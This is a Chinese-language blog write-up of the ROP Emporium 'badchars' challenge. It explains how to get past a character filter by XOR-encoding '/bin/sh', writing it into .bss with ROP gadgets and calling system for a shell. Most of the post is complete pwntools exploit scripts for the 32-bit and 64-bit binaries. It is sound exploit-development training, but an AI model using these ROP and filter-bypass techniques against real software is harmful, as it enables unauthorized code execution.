badchars

作者: 杰_74 | 来源:发表于2019-08-15 10:06 被阅读0次

    ropemporium上的链接
    https://ropemporium.com/

    32位

    checksec badchars32然后运行./badchars32



    拖入ida,有system,没有binsh,所以我们需要将binsh写入bss段中


    main
    usefulFunction里有system但参数不对
    system地址为0x080484E0
    bss地址为0x0804A040 pwnme函数

    checkBadChars函数
    把v3及其后面的变成数组,把数字按r转成字符,方便查看

    这次的程序对输入的字符进行了过滤,对于特定字符b,i,c,/, <空格>,f,n,s(传说中的badchars),会被替换成-21,当然这会对我们成功写入"/bin/sh\x00"造成影响,所以我们要绕过这步替换

    参考 https://www.jianshu.com/p/5b9abeca9308
    这里用 xor 对要输入的 '/bin/sh' 加密,成功传入参数后再进行解密调用
    首先找可以进行异或的数字,因为可能会有进行异或后还出现badchars的数字。

    找异或数字的脚本为

    binsh = "/bin/sh\x00"
    badchar = [98, 105, 99, 47, 32, 102, 110, 115]
    xornum = 1
    while 1:
        for x in binsh:
            tem = ord(x) ^ xornum
            if tem in badchar:
                xornum += 1
                break
            if x == "\x00":
                print xornum
                xornum += 1
        if xornum == 10:
            break
    
    可异或的十以内数字有2,3,5,9

    找gadget

    ROPgadget --binary badchars32 --only "mov|xor|pop|ret"

    gdb爆偏移为44

    写脚本

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./badchars32')
    p = process('./badchars32')
    
    pop_esi_edi = 0x08048899
    mov_esi_to_edi = 0x08048893
    pop_ebx_ecx = 0x08048896
    xor_ebx_cl = 0x08048890
    
    system_plt = 0x080484E0
    bss = 0x0804A040
    
    #加密
    binsh = "/bin/sh\x00"
    xorbinsh = ''
    for i in binsh:
        xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
    
    payload = ''
    payload += 'A'*44
    #因为是32位,/bin/sh要分2次传
    
    payload += p32(pop_esi_edi)
    payload += xorbinsh[0:4]
    payload += p32(bss)
    payload += p32(mov_esi_to_edi)
    
    payload += p32(pop_esi_edi)
    payload += xorbinsh[4:8]
    payload += p32(bss+4)
    payload += p32(mov_esi_to_edi)
    
    #解密
    for x in range(0,len(xorbinsh)):
        payload += p32(pop_ebx_ecx)
        payload += p32(bss+x)
        payload += p32(2)
        payload += p32(xor_ebx_cl)
    
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(bss)
    
    p.sendline(payload)
    p.interactive()
    
    成功

    我们再来玩一个简单的,只传入一次的"sh\x00\x00"
    脚本为

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./badchars32')
    p = process('./badchars32')
    
    pop_esi_edi = 0x08048899
    mov_esi_to_edi = 0x08048893
    pop_ebx_ecx = 0x08048896
    xor_ebx_cl = 0x08048890
    
    system_plt = 0x080484E0
    bss = 0x0804A040
    
    #加密
    binsh = "sh\x00\x00"
    xorbinsh = ''
    for i in binsh:
        xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
    
    payload = ''
    payload += 'A'*44
    
    payload += p32(pop_esi_edi)
    payload += xorbinsh[0:4]
    payload += p32(bss)
    payload += p32(mov_esi_to_edi)
    
    
    #解密
    for x in range(0,len(xorbinsh)):
        payload += p32(pop_ebx_ecx)
        payload += p32(bss+x)
        payload += p32(2)
        payload += p32(xor_ebx_cl)
    
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(bss)
    
    p.sendline(payload)
    p.interactive()
    
    当然也是成功的

    64位

    道理大致相同,但是/bin/sh不需要分2次传,一次即可

    ROPgadget --binary badchars --only "mov|pop|xor|ret"


    gdb爆偏移

    exp:

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./badchars')
    p = process('./badchars')
    
    pop_r12_r13 = 0x00400b3b
    mov_r12_to_r13 = 0x00400b34
    pop_r14_r15 = 0x00400b40
    xor_r15_r14b = 0x00400b30
    pop_rdi = 0x00400b39
    
    system_plt = elf.plt['system']
    bss = elf.bss()
    
    #加密
    binsh = "/bin/sh\x00"
    xorbinsh = ''
    for i in binsh:
        xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
    
    payload = ''
    payload += 'A'*40
    
    payload += p64(pop_r12_r13)
    payload += xorbinsh
    payload += p64(bss)
    payload += p64(mov_r12_to_r13)
    
    
    #解密
    for x in range(0,len(xorbinsh)):
        payload += p64(pop_r14_r15)
        payload += p64(2)
        payload += p64(bss+x)
        payload += p64(xor_r15_r14b)
    
    payload += p64(pop_rdi)
    payload += p64(bss)
    payload += p64(system_plt)
    
    p.sendline(payload)
    p.interactive()
    
    成功

    以上两个的flag为ROPE{a_placeholder_32byte_flag!}

    相关文章

      网友评论

          本文标题:badchars

          本文链接:https://www.haomeiwen.com/subject/acnnjctx.html